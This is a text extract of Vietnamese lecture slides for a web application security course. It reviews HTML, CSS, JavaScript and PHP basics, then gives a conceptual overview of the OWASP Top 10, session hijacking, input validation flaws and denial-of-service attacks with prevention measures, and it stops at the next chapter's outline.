You are on page 1of 150

BẢO MẬT ỨNG DỤNG WEB

MÃ HỌC PHẦN: TH1358 (2:1)


WEB APPLICATION SECURITY

1
HÌNH THỨC HỌC; KIỂM TRA VÀ ĐÁNH GIÁ
Lý thuyết
- Học trực tuyến thông qua Google Meet
Thực hành
- Học trực tiếp (Dự kiến như vậy)
Kiểm tra kết thúc môn học
- 10%
- 40%
- 50%: Thi thực hành
2
HÌNH THỨC HỌC; KIỂM TRA VÀ ĐÁNH GIÁ
Ngôn ngữ:
- HTML/CSS/JS/
- PHP, NODEJS

3
CHƯƠNG 1: ÔN TẬP LẬP TRÌNH WEB

4
CHƯƠNG 1: ÔN TẬP LẬP TRÌNH WEB

1.1 Khái niệm


1.2 Các bước thiết kế trang Web
1.3 Ngôn ngữ HTML
1.4 CSS
1.5 Web Form
1.6 JavaScript
1.7 PHP

5
1. Khái niệm
WEBSITE: là một tập hợp nhiều trang WEB bao gồm văn
bản, hình ảnh, video,… được truy cập thông tin địa chỉ IP hoặc
tên miền và tất cả chúng được lưu trữ trên một máy chủ WEB
và có thể truy cập thông qua mạng máy tính.

Trang WEB: là tập tin HTML hoặc XHTML có thể truy nhập
qua giao thức HTTP hoặc HTTPS. Website có thể được xây
dựng từ các tệp tin HTML (Website tĩnh) hoặc vận hành bằng
các CMS chạy trên máy chủ (Website động)

WWW: – World Wide Web là hệ thống các webside trên 6


1. Khái niệm

7
1. Khái niệm
Hyperlink: Hyperlink là một liên kết chỉ đến một trang web
khác, hoặc trên chính trang web hiện hành. Một trang web có
thể chứa nhiều link. Người dùng có thể bấm vào.
HTTP/HTTPS (HyperText Transfer Protocol): là giao thức
truyền tải siêu văn bản được sử dụng để truyền tải dữ liệu
giữa Web server đến các trình duyệt Web và ngược lại.

8
2. Các thành phần của Website
Có 3 thành phần chính:
₋ Tên miền: Là địa chỉ chính xác của một website tên miền chỉ
tồn tại một và duy nhất trên mạng Internet.
₋ Máy chủ WEB: Là nơi lưu trữ toàn bộ dữ liệu của trang web,
từ thôn tin, email, dữ liệu, hình ảnh,…Nếu không có thành
phàn này, website đó vĩnh viễn không được xuất hiện trên
Internet.
₋ Mã nguồn: Bao gồm toàn bộ các tệp tin HTML, XTML,… và
kết hợp với một hoặc nhiều ngôn ngữ lập trình bật cao.
9
2. Các thành phần của Website

Hãy tìm hiểu và trình bày tổng thể một


cách đơn giản chức năng của các thành
phần trên một WEBSITE?
- Bao nhiêu thành phần?
- Chức năng chính của chúng?
- Có thể đơn giản các thành phần có được
hay không?
10
1.2 Các bước thiết kế trang Web
Bước 1: Tìm một máy chủ WEB và đăng kí Domain đáng tin
cậy.
Bước 2: Chọn nền tảng để thiết kế website.
Bước 3: Phác thảo Layout cho giao diện web.
Bước 4: Thiết kế bản mẫu website và hoàn thiện nó.
Bước 5: Kiểm tra xem thiết kế và chạy thử website.
Bước 6: Phân tích và cải thiện.
Bước 7: Đưa website vào hoạt động.
11
1.3 Ngôn ngữ HTML
HTML là tài liệu siêu văn bản với một cấu trúc cụ thể
Bao gồm nội dung được đánh dấu qua các thẻ html
Thẻ giúp trình duyệt web biết để hiển thị trang
HTML có phần mở rộng tệp *.htm hoặc *.html
₋ Một tập tin HTML có thể được tạo ra bằng cách sử dụng
một trình soạn thảo văn bản

12
Ví dụ về trang HTML
<html>
<head>
<title>Title of page</title>
</head>
<body>
This is my first homepage. <b>This text is bold</b>
</body>
</html>

Sử dụng trình duyệt web (Chrome;….) để xem nội dung vừa tạo

13
HTML Tags
Thẻ HTML được sử dụng để đánh dấu các phần tử HTML
– Được bao quanh bởi dấu ngoặc < và >
– Thẻ HTML thường có các cặp, như <tagname> (thẻ bắt đầu) và
</tagname> (thẻ kết thúc)
– Văn bản giữa thẻ bắt đầu và thẻ kết thúc là nội dung phần tử
– Không phân biệt hoa thường

14
Tag Attributes
Thẻ có các thuộc tính cung cấp thông tin bổ sung cho phần tử
Thuộc tính luôn được chỉ định trong thẻ bắt đầu
Giá trị thuộc tính phải luôn được đính kèm trong dấu ngoặc
kép.
Ví dụ:
<tagname a1=“v1” a2=“v2”></tagname>
<table border="0">…..</table>

15
HTML Document Structure
Two subparts:
Head
Enclosed within <head> and </head>
Body
Enclosed within <body> and </body>

16
1.4 CSS
CSS là ngôn ngữ định kiểu theo tầng được dùng để tạo bố cục, trang trí,
thiết lập màu nền, màu chữ, kích thước

17
1.4 CSS
Có 3 cách để sử dụng CSS
Inline Style Sheet (Nhúng CSS vào tag HTML)
Embedding Style Sheet (Nhúng CSS vào trang web)
External Style Sheet (Liên kết CSS với trang web)
<p style=“color: red;”>Xin chào</p>
Ví dụ về nhúng CSS vào trang web
p,h1,h2 {
margin-top:0px;
margin-bottom:100px;
padding:20px 40px 0px 40px;
}
18
1.4 CSS
Thứ tự ưu tiên áp dụng định dạng khi sử dụng các loại CSS (độ ưu tiên
giảm dần) :
1. Inline Style Sheet
2. Embedding Style Sheet
3. External Style Sheet
4. Browser Default

19
1.4 CSS
<HTML>
<head>
<title>Hello World</title>
<style type=“text/css”>
p,h1,h2 {
margin-top:0px;
margin-bottom:100px;
padding:40px 40px 0px
40px;
}
</style>
</head>
<body bgcolor = “#000000”>
<font color = “#ffffff”>
<h1>Hello World<h1>
</font>
</body>
</HTML>
20
1.6 JavaScript
‐ JavaScript là ngôn ngữ kịch bản.

‐ JavaScript tăng cường tính động và tính tương tác của các trang web.

‐ Thay đổi nội dung động

‐ Xác nhận tính hợp lệ của dữ liệu

21
1.6 JavaScript
Sử dụng thẻ <script></script >
<script language="JavaScript">
<!--
JavaScript statements;
//-->
</script>

Sử dụng JS từ liên kết ngoài


<script language="JavaScript" src="filename.js"></script>

22
1.6 JavaScript
<html>
<head>
<script language = "Javascript">
confirm ("Are you Sure?");
alert("OK");
document.write(" Thank You !");
</script>
</head>
</html>

23
Các lệnh có cấu trúc
if ... else
while
switch case
do ... while
for ... in
for

24
Hàm trong JS
function fnName([param1],[param2],...,[paramN])
{
//function statement
}

CÁC HÀM CÓ SẴN


JavaScript có một số hàm có sẵn, gắn trực
tiếp vào chính ngôn ngữ và không nằm trong
một đối tượng nào:
 eval
 parseInt
 parseFloat 25
HTML DOM (Document Object Model)
Khi tải một trang web, trình duyệt sẽ tạo ra các DOM để tạo ra các thành
phần trang

26
HTML DOM (Document Object Model)
document.getElementById('id_cần_tìm')
document.getElementsByTagName('div')
document.getElementsByName('tên_cần_tìm')

27
HTML DOM (Document Object Model)
Thay đổi HTML
<p id="demo"></p>
<script>
document.getElementById("demo").innerHTML =
"The text from the intro paragraph is";
</script>

Thay đổi Style


<p id="p2">Hello World!</p>
<script>
document.getElementById("p2").style.color = "blue";
</script>

28
HTML DOM (Document Object Model)
HTML DOM Events
<h1 onclick="changeText(this)">Click on this text!</h1>
<script>
function changeText(id) {
id.innerHTML = "Ooops!";
}
</script>

29
1.7 PHP
Tổng quan

PHP: Hypertext Preprocessor, viết tắt


PHP là một ngôn ngữ lập trình kịch
bản dùng để phát triển các ứng dụng
WEB viết cho máy chủ, mã nguồn
mở.

30
1.7 PHP

CÂU HỎI: VẬY ĐỂ PHÁT TRIỂN MỘT ỨNG DỤNG WEB BẰNG
PHP THÌ CHÚNG TA CẦN NHỮNG CÔNG CỤ NÀO?

31
1.7 PHP
Tổng quan

*.php

32
1.7 PHP
PHP hoạt động như thế nào?
Khi có người dùng gọi trang PHP,
web máy chủ sẽ triệu gọi PHP
Engine thông dịch trang PHP và
trả lại kết quả cho người dùng.

33
1.7 PHP
CÚ PHÁP PHP

Cách 1. <?php
echo "Welcome to the world of php";
?>

Cách 2. <?
echo “Welcome to the world of php";
?>

Comment <?php
# Đây là comment
// Đây cũng là comment
?> 34
1.7 PHP
ECHO VÀ PRINT TRONG PHP
<?php
$name = "John";
echo $name;
echo($name);
echo $name, $profile, $age, " years old";
?>

<?php
$name="John";
print $name;
print ($name);
?>

35
1.7 PHP
FORM SUBMIT
<?php
$TEN = $_POST['name'];
$HO = $_GET['name'];
?>

html: name element


form html: methob, action
php: name, methob
36
1.7 PHP
PHP & MySQL

Connect to MySQL
Server

Excute T-SQL

Return Data

37
1.7 PHP
PHP & MySQL

<?php
$servername = "localhost";
$username = "username";
$password = "password";

// Create connection
$conn = new mysqli($servername, $username, $password);

// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
?>
38
1.7 PHP
SESSION

session được khi client gửi


request đến server, nó tồn tại
xuyên suốt từ trang này đến trang
khác trong ứng dụng web.
Khi hết thời gian timeout hoặc khi
đóng ứng dụng. Giá trị của
session sẽ được lưu trong một file
trên server.

39
1.7 PHP
SESSION

<?php
// Start the session
1 session_start();
<?php
?>
// Set session variables
2 $_SESSION["favcolor"]
= "green";
<?php ?>
3 echo $_SESSION["favcolor"];
?>
40
1.7 PHP
COOKIE VÀ SESSION

Giống như session, cookie cũng được dùng để lưu những thông tin tạm thời.
Nhưng tập tin cookie sẽ được truyền từ server tới browser và được lưu trữ trên
máy tính của bạn khi bạn truy cập vào ứng dụng.

41
1.7 PHP
HÃY SO SÁNH ĐIỂM GIỐNG VÀ KHÁC NHAU GIỮA
SESSION VÀ COOKIE ?

42
1.7 PHP
COOKIE
Cookie Session
Cookie được lưu trữ trên trình duyệt của Session không được lưu trữ trên trình
người dùng. duyệt.

Dữ liệu cookie được lưu trữ ở phía client. Dữ liệu session được lưu trữ ở phía server.

Dữ liệu cookie dễ dàng sửa đổi hoặc đánh Dữ liệu session không dễ dàng sửa đổi vì
cắp khi chúng được lưu trữ ở phía client. chúng được lưu trữ ở phía máy chủ.

Dữ liệu cookie có sẵn trong trình duyệt đến Sau khi đóng trình duyệt sẽ hết phiên làm
khi expired. việc (session)
43
1.7 PHP
COOKIE VÀ SESSION QUÁ TRÌNH ĐĂNG NHẬP

44
CHƯƠNG 2: TỔNG QUAN AN TOÀN ỨNG
DỤNG WEB (6:3:18)
45
CHƯƠNG 2: TỔNG QUAN AN TOÀN ỨNG DỤNG
WEB (6:3:18)

1.1 Các khái niệm 1.2 Hoạt động của một ứng dụng Web

1.1.1 Hacker 1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web

1.1.2 HTTP Header 1.4 Một số vấn đề về tấn công ứng dụng web

1.1.3 Session 1.4.1 Kiểm soát truy cập web

1.1.4 Cookie 1.4.2 Chiếm hữu phiên làm việc


1.1.5 Proxy 1.4.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu
nhập hợp lệ

1.4.4 Để lộ thông tin

1.4.5 Từ chối dịch vụ


46
1.1 Các khái niệm
1.1.1 Hacker
Hacker (còn được gọi là tin tặc) là người hiểu rõ hoạt động của hệ thống máy
tính, mạng máy tính, có thể viết hay chỉnh sửa phần mềm, phần cứng máy
tính để làm thay đổi, chỉnh sửa nó với nhiều mục đích tốt xấu khác nhau.
Họ là những chuyên gia CNTT, lợi dụng những lỗ hổng trong bảo mật, định
vị những khoảng trống trong an ninh để truy cập các hệ thống phòng thủ an
toàn. Họ hiểu rất rõ về những hoạt động của hệ thống máy tính.

47
1.1 Các khái niệm
1.1.1 Hacker
Dựa vào kỹ năng và mục đích xâm nhập hệ thống mà chúng ta có thể phân thế giới
hacker thành nhiều loại:
₋ Hacker mũ trắng
₋ Hacker mũ đen
₋ Hacker mũ xám
₋ Hacker mũ xanh
₋ Hacker mũ đỏ

48
1.1 Các khái niệm
1.1.2 HTTP Header

₋ Protocol: Thường là phương thức HTTP (hoặc HTTPs - phương thức bảo mật nâng
cấp của HTTP).
₋ Domain: Tên dùng để định danh một hoặc nhiều địa chỉ IP, nơi mà tài nguyên đang
được lưu trữ.
₋ Path: Chỉ định vị trí tài nguyên trên máy chủ. Nó sử dụng chung logic như vị trí tài
nguyên được sử dụng trên thiết bị (máy chủ server)
₋ Parameters: Các dữ liệu thêm được sử dụng để xác định hoặc sàng lọc tài nguyên
trên server.
49
1.1 Các khái niệm
1.1.2 HTTP Header

50
1.1 Các khái niệm
1.1.2 HTTP Header
Http Header là phần đầu của http trong mỗi
yêu cầu mà client gửi tới server, cũng như
phản hồi của server gửi về cho client.
Http Header chứa thông tin chủ yếu về
client và server. Cụ thể là thông tin của
trình duyệt, thông tin cấu hình server, ngày
tháng, thông tin về request page, kiểu dữ
liệu truyền tải,...

51
1.1 Các khái niệm
1.1.2 HTTP Header

Http Header được phân chia thành 4 loại


1. HTTP Request Header
2. HTTP Response Header
3. HTTP General Header
4. HTTP Entity Header

52
1.1 Các khái niệm
1.1.2 HTTP Header
1.1.3 Session
1.1.4 Cookie
1.1.5 Proxy

53
1.1 Các khái niệm
1.1.5 Proxy
Proxy có nhiệm vụ như một cách cửa giữa kết nối người dùng và Internet. Hoạt động
như tường lửa và bộ lọc web. 
Proxy Server cung cấp kết nối mạng chia sẻ và dữ liệu bộ nhớ cache để tăng tốc các yêu
cầu thông thường.
Thay cho việc gán cho mỗi máy khách một kết nối Internet trực tiếp thì trong trường
hợp này. Tất cả kết nối bên trong đều có thể được cho qua một hoặc nhiều proxy và lần
lượt kết nối ra ngoài.

54
1.1 Các khái niệm
1.1.5 Proxy

55
1.1 Các khái niệm
1.1.5 Proxy
Proxy Server cung cấp nhiều tính năng quan trọng trên các mạng diện rộng, điển hình
như.
₋ Tường lửa và Filtering
₋ Chia sẻ kết nối với Proxy Server
₋ Proxy Server và Caching

56
1.1 Các khái niệm
1.1.5 Proxy
Lợi ích của việc sử dụng Proxy Server

Riêng tư: Tôi có thể dùng máy chủ Proxy để truy cập Internet một cách riêng tư
Điều khiển: Trên Internet sẽ tiềm ẩn rất nhiều nguy cơ. Khi sử dụng máy chủ Proxy, các
nội dung của tôi được lọc và trở nên an toàn hơn.
Tăng tốc độ và tiết kiệm băng thông: Việc sử dụng Proxy Server một cách hiệu quả đã
giúp cho mạng tổng có hiệu suất tốt hơn
Truy cập vào nội dung bị chặn: Máy chủ Proxy cho phép công ty hạn chế người dùng
truy cập một số nội dung

57
1.1 Các khái niệm
1.1.5 Proxy
Điểm khác nhau giữa VPN và Proxy

58
1.2 Hoạt động của một ứng dụng Web
1.Trình duyệt gửi đi các “lệnh” (gọi là truy vấn
– HTTP Request);

2.Chương trình máy chủ nhận “lệnh” và sinh ra dữ


liệu tương ứng (ở dạng văn bản viết bằng ngôn
ngữ HTML), thu thập các file (mã javascript, css,
hình ảnh, v.v.);

3.Dữ liệu được “đóng gói” (thành các phản hồi


– HTTP Response) và trả lại cho trình duyệt.

4.Trình duyệt sẽ hiển thị dữ liệu nhận được, cũng


như thực thi các lệnh (do các file javascript phát
ra).

59
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
OWASP (Open Web Application Security Project) là 1 dự án mở về bảo mật
ứng dụng web, dự án là sự cố gắng chung của cộng đồng với mục đích giúp các
doanh nghiệp có thể phát triển, mua và bảo trì các ứng dụng web một cách an
toàn.

Mục tiêu chính của OWASP Top 10 là để hướng dẫn người lập trình viên, người
thiết kế, kỹ sư, quản lí và cả tổ chức về hậu quả của những điểm yếu quan
trọng nhất trong ứng dụng web.

60
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A1 – Injection ( Lỗi mã nhúng ):
Xảy ra trong các ứng dụng như SQL,
LDAP khi những dữ liệu không xác
thực được gửi tới hệ thống biên dịch
như một phần của mã lệnh. Những
dữ liệu này của kẻ tấn công có thể
lừa hệ thống biên dịch thực hiện
những mã lệnh độc hại hoặc giúp kẻ
tấn công xâm nhập đến những dữ
liệu quan trọng một cách trái phép.

61
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A2 – Broken Authentication and Session Management ( Sai lầm trong
kiểm tra định danh ):

Những đoạn chương trình kiểm tra


danh tính và quản lý phiên làm việc
của người sử dụng thường hay được
làm qua loa không đúng cách.

Điều này giúp kẻ thâm nhập có thể


ăn cắp mật mã, khóa, mã của các
phiên làm việc (session token)
hoặc tận dụng những lỗi khác để giả
mạo danh tính các người dùng khác

62
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A3 – Cross Site Scripting ( XSS – thực thi script độc hại )

Xảy ra khi một ứng dụng tiếp nhận


những dữ liệu không đáng tin cậy và
gửi chúng đến cho trình duyệt web
mà không qua xử lý và kiểm duyệt.

XSS cho phép kẻ tấn công thực hiện


mã độc trên trình duyệt của người bị
tấn công và lợi dụng ăn cắp phiên
truy cập để mạo danh hoặc hủy hoại
trang web hoặc lừa người sử dụng
đến những trang web chứa mã độc
khác..
https://www.hacksplaining.com/exercises/xss-stored#/you-try 63
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A4 – Insecure Direct Object References

Xảy ra khi người phát triển để lộ một tham chiếu đến những đối tượng trong hệ
thống như các tập tin, thư mục hay chìa khóa dữ liệu. Nếu chúng ta không có một
hệ thống kiểm tra truy cập, kẻ tấn công có thể lợi dụng những tham chiếu này để
truy cập dữ liệu một cách trái phép..

64
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A5 – Security Misconfiguration (Sai sót cấu hình an ninh)

Một cơ chế an ninh tốt cần phải định nghĩa những hiệu chỉnh về an ninh và triển
khai nó cho các ứng dụng, khuôn mẫu, máy chủ ứng dụng, máy chủ web, máy
chủ dữ liệu và các ứng dụng nền tảng.

Tất cả những thiệt lập nên được định nghĩa, thực hiện và bảo trì bởi vì rất nhiều
thứ không được triển khai với thiết lập an toàn mặc định. Các hiệu chỉnh cũng bao
gồm cập nhật phần mềm và những thư viện được sử dụng bởi ứng dụng.

65
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A6 - Sensitive Data Exposure (Tiếp xúc với dữ liệu nhạy cảm )

Các dữ liệu nhạy cảm được lưu trữ không an toàn có thể gây ra những ảnh hưởng
to lớn cho hệ thống máy chủ, cũng như cho khách hàng.

66
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A7 – Missing Function Level Access Control ( Sai sót hạn chế truy cập
)

Nhiều ứng dụng web kiểm tra quyền thực thi địa chỉ truy cập (URL) trước khi
dựng các liên kết và nút nhấn được bảo vệ. Tuy nhiên ứng dụng cũng phải thực
hiện những kiểm tra tương tự mỗi khi những trang thông tin được truy cập trực
tiếp nếu không kẻ tấn công có thể giả mạo URL để truy cập vào những trang
thông tin ẩn này

67
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A8 – Cross Site Request Forgery ( CSRF – Giả mạo yêu cầu )

Kiểu tấn công này ép buộc trình duyệt


web của một người dùng đã đăng nhập
gửi những yêu cầu giao thức web
(HTTP) tới một trang web bị lỗi, bao
gồm cookie của phiên truy cập và
những thông tin tự động khác như
thông tin đăng nhập.

Cách thức này cho phép kẻ tấn công


buộc trình duyệt web tạo ra những yêu
cầu cho ứng dụng lỗi mà ứng dụng này
không thể biết đây là những yêu cầu
giả mạo của kẻ tấn công
68
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A9 – Using Know Vulnerable Components (Sử dụng thành phần đã tồn tại lỗ hổng )

Các lổ hỏng có thể có trong các thành phần (thành phần phát triển ứng dụng) như
các thư viện, các framework, và mô-đun phần mềm khác. Các thành phần này gần
như luôn luôn chạy với quyền cao nhất trong hệ thống.

Vì vậy, nếu bị khai thác, các thành phần này có thể gây mất dữ liệu nghiêm
trọng.Các ứng dụng sử dụng các thành phần tồn tại lổ hỏng có thể làm suy yếu
phòng thủ của hệ thống, cho phép một loạt các cuộc tấn công và ảnh hưởng đến
hệ thống

69
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A10 – Unvalidated Redirects and Forwards ( Thiếu thẩm tra chuyển hướng và
chuyển tiếp )

Ứng dụng web thường xuyên đưa người dùng đến những liên kết qua các website
khác, và sử dụng những thông tin thiếu tin cậy để xác định đích đến.

Nếu không được kiểm tra một cách cẩn thận, kẻ tấn công có thể lợi dụng để
chuyển nạn nhân đến các trang web lừa đảo hay phần mềm độc hại, hoặc chuyển
tiếp để truy cập các trang trái phép.

70
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):

Ứng dụng web lưu trạng thái mỗi phiên làm việc của người dùng bằng mã phiên
làm việc (session ID). Server sẽ cung cấp mỗi session ID khác nhau cho mỗi
người dùng khác nhau để chứng thực phiên làm việc đó.

Để duy trì phiên làm việc, SessionID thường được lưu vào:

- Tham số CGI

- Trường ẩn trong form

- Các cookie

Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người
dùng để từ đó đột nhập vào phiên làm việc của họ

71
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):

Những kẻ tấn công có thể thực hiện những cách


sau:

- Đoán mã của một phiên làm việc hợp lệ.

- Ăn cắp một mã phiên qua các mạng lưới giám


sát

- Ăn cắp một mã phiên thông qua XSS. Hacker sẽ


sử dụng đoạn mã trên trình duyệt của nạn nhân
và gửi kết quả về máy của mình.

- Ấn định phiên làm việc. (Session fixation)

72
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):

Vậy cách phòng tránh sẽ như thế nào ?

73
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):

(*) Cách phòng tránh

- Chống việc đăng nhập với một session ID có sẵn


- Giới hạn phạm vi ứng dụng của session ID
+ Kết hợp Session ID với địa chỉ của trình duyệt.
+ Kết hợp Session ID với thông tin chứng thực được mã hoá SSL.
+ Xóa bỏ session khi người dùng thoát khỏi hệ thống hay hết hiệu lực
+ Thiết lập thời gian hết hiệu lực cho session, tránh trường hợp hacker có thể duy trì
session và sử dụng nó lâu dài.

74
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ

- Ứng dụng hoạt động thực hiện việc tiếp nhận dữ liệu từ người dùng là điều không tránh khỏi
- Có 2 vị trí thường sử dụng để kiểm tra dữ liệu
+ Client: Sử dụng các thẻ HTML hoặc Javascript để kiểm tra.
+ Server: Kiểm tra qua dữ liệu được gửi lên

- Không kiếm soát tốt dẫn đến nhiều lỗi ngoài ý muốn
+ Làm sai soát dẫn đến sai thông tin
+ Thực thi những ma độc vô tình được chèn vào dữ liệu
+ Gây lỗi hoặc giảm hiệu suất ứng dụng

75
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ

Vậy cách phòng tránh sẽ như thế nào ?

76
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.4 Để lộ thông tin

1.4.5 Từ chối dịch vụ

- Tấn công từ chối dịch vụ DoS là các cuộc tấn công trên hệ thống mạng nhằm ngăn cản
những truy xuất tới một dịch vụ.

- Tấn công DoS làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu
cầu bằng cách làm tràn ngập số lượng kết nối, quá tải server hoặc chương trình chạy
trên server, tiêu tốn tài nguyên của server.

- Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và rất khó bảo vệ.

77
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

Tấn công trên Swap space: Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi
(Swap space) để phục vụ những yêu cầu từ máy khách. Swap space thường dùng cho các tiến
trình con có thời gian ngắn, nên DoS có thể dựa trên phương thức làm tràn đầy Swap space.

Tấn công trên Bandwidth: Phần băng thông dành cho mỗi hệ thống là giới hạn, vì thế nếu
hacker cùng lúc gửi nhiều yêu cầu đến hệ thống thì phần băng thông không đủ đáp ứng cho
một khối lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ.

78
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

Tấn công vào Ram: Tấn công Dos chiếm một khoảng lớn bộ nhớ của Ram, cũng có thể gây ra
các vấn đề phá hủy hệ thống. Kiểu tấn công Buffer Overflow là một ví dụ cho cách phá hủy
này.

Tấn công vào Disks: Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa cứng có thể bị tràn
và không thể được sử dụng nữa.

79
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
a. Tấn công vào băng thông

Phương pháp tấn công kiểu từ chối dịch


vụ này gọi là DDoS (từ chối dịch vụ phân
tán), cùng một lúc nhiều máy sẽ được
phát động để gửi gói tin đến máy đích
làm cho máy đích quá hạn và bị loại khỏi
mạng Internet.

Với DDoS, các hacker có thể huy động


tới hàng trăm thậm chí hàng ngàn máy
tính cùng tham gia tấn công cùng một
thời điểm và có thể "ngốn" hết băng
thông của mục tiêu trong nháy mắt
80
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
b. DrDoS (Distributed Reflection Denial of Service) - Tấn công từ chối dịch vụ phản xạ nhiều
vùng.

81
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
c. DrDoS (Distributed Reflection Denial of Service) - Tấn công từ chối dịch vụ phản xạ nhiều
vùng.

Mục tiêu chính của DrDoS là chiếm đoạt toàn bộ băng thông của máy đích, tức là làm tắc nghẽn hoàn
toàn đường kết nối từ máy đích vào xương sống của Internet và làm tiêu hao tài nguyên.

Trong suốt quá trình máy đích bị tấn công bằng DrDoS, không một máy khách nào có thể kết nối được
vào máy đích đó. Tất cả các dịch vụ chạy trên nền TCP/IP như DNS, HTTP, FTP, POP3, ... đều bị vô hiệu
hóa

82
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

d. Kiểu tấn công vào tài nguyên hệ thống

Tấn công kiểu Smurf Attack: Kiểu tấn công này cần một hệ thống rất quan trọng, đó là mạng khuyếch
đại. Hacker dùng địa chỉ của máy tính cần tấn công bằng cách gửi gói tin ICMP echo cho toàn bộ mạng
(broadcast). Các máy tính trong mạng sẽ đồng loạt gửi gói tin ICMP reply cho máy tính mà hacker muốn
tấn công. Kết quả là máy tính này sẽ không thể xử lý kịp thời một lượng lớn thông tin và dẫn tới bị treo
máy.

83
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

d. Kiểu tấn công vào tài nguyên hệ thống

Tấn công kiểu Tear Drop: Trong mạng chuyển mạch gói, dữ liệu được chia thành nhiều gói tin nhỏ, mỗi
gói tin có một giá trị offset riêng và có thể truyền đi theo nhiều con đường khác nhau để tới đích. Tại đích,
nhờ vào giá trị offset của từng gói tin mà dữ liệu lại được kết hợp lại như ban đầu. Lợi dụng điều này,
hacker có thể tạo ra nhiều gói tin có giá trị offset trùng lặp nhau gửi đến mục tiêu muốn tấn công. Kết
quả là máy tính đích không thể sắp xếp được những gói tin này và dẫn tới bị treo máy vì bị "vắt kiệt" khả
năng xử lý.

84
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

d. Kiểu tấn công vào tài nguyên hệ thống

Phá hoại hoặc chỉnh sửa phần cứng: Lợi dụng quyền hạn của chính bản thân kẻ tấn công đối với các
thiết bị trong hệ thống mạng để tiếp cận thay đổi trực tiếp hoặc từ xa các thông tin quan trọng của thiết
bị hay phá hoại các thiết bị phần cứng như router, switch,…

85
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

Vậy cách phòng tránh sẽ như thế nào ?

86
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

(*) Cách phòng tránh


₋ Tấn công từ chối dịch vụ không quá khó thực hiện, nhưng rất khó phòng chống do tính bất ngờ và
thường là phòng chống trong thế bị động khi sự việc đã diễn ra.

₋ Việc giả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ bị phát hiện.
Thông thường kỹ thuật này được thực hiện kèm theo sự hỗ trợ của vài công cụ như Ping of death, Tear
drop,…

87
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

(*) Các phương án phòng ngừa


₋ Thiết lập mật khẩu mạnh (strong password) để bảo vệ các thiết bị mạng và các nguồn tài nguyên quan
trọng khác.

₋ Phòng ngừa các điểm yếu của ứng dụng. Lỗi chủ yếu được tìm thấy trên các ứng dụng mạng nội bộ của
Windows, trên các chương trình Webserver, DNS, hay SQL database. Cập nhật bản vá là một trong
những yêu cầu quan trọng cho việc phòng ngừa.

₋ Dùng tính năng lọc dữ liệu, tính năng cho phép đặt rate limit của router / firewall để loại bỏ các packet
không mong muốn, giảm lượng lưu thông trên mạng và tải của máy chủ, hạn chế số lượng packet vào
hệ thống

88
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ

(*) Các phương án phòng ngừa


₋ Dùng một số cơ chế, công cụ, phần mềm để chống lại TCP SYN Flooding. Chỉ kích hoạt các dịch vụ cần
thiết, tạm thời vô hiệu hoá và dừng các dịch vụ chưa có yêu cầu.

₋ Sử dụng các biện pháp kiểm tra hoạt động của hệ thống một cách liên tục để phát hiện ngay những
hành động bất bình thường

89
CHƯƠNG 3: CÁC KỸ THUẬT TẤN
CÔNG VÀ BẢO MẬT ỨNG DỤNG
WEB(12:15:54)
90
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)

3.1 Thao tác trên tham số truyền

3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

3.3 Chèn câu truy vấn SQL (SQL Injection)

3.4 Chiếm hứu phiên làm việc (Session Management)

3.5 Tràn bộ đệm (Buffer Overflow)

3.6 Từ chối dịch vụ (DoS)

3.7 Một số kỹ thuật khác

91
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
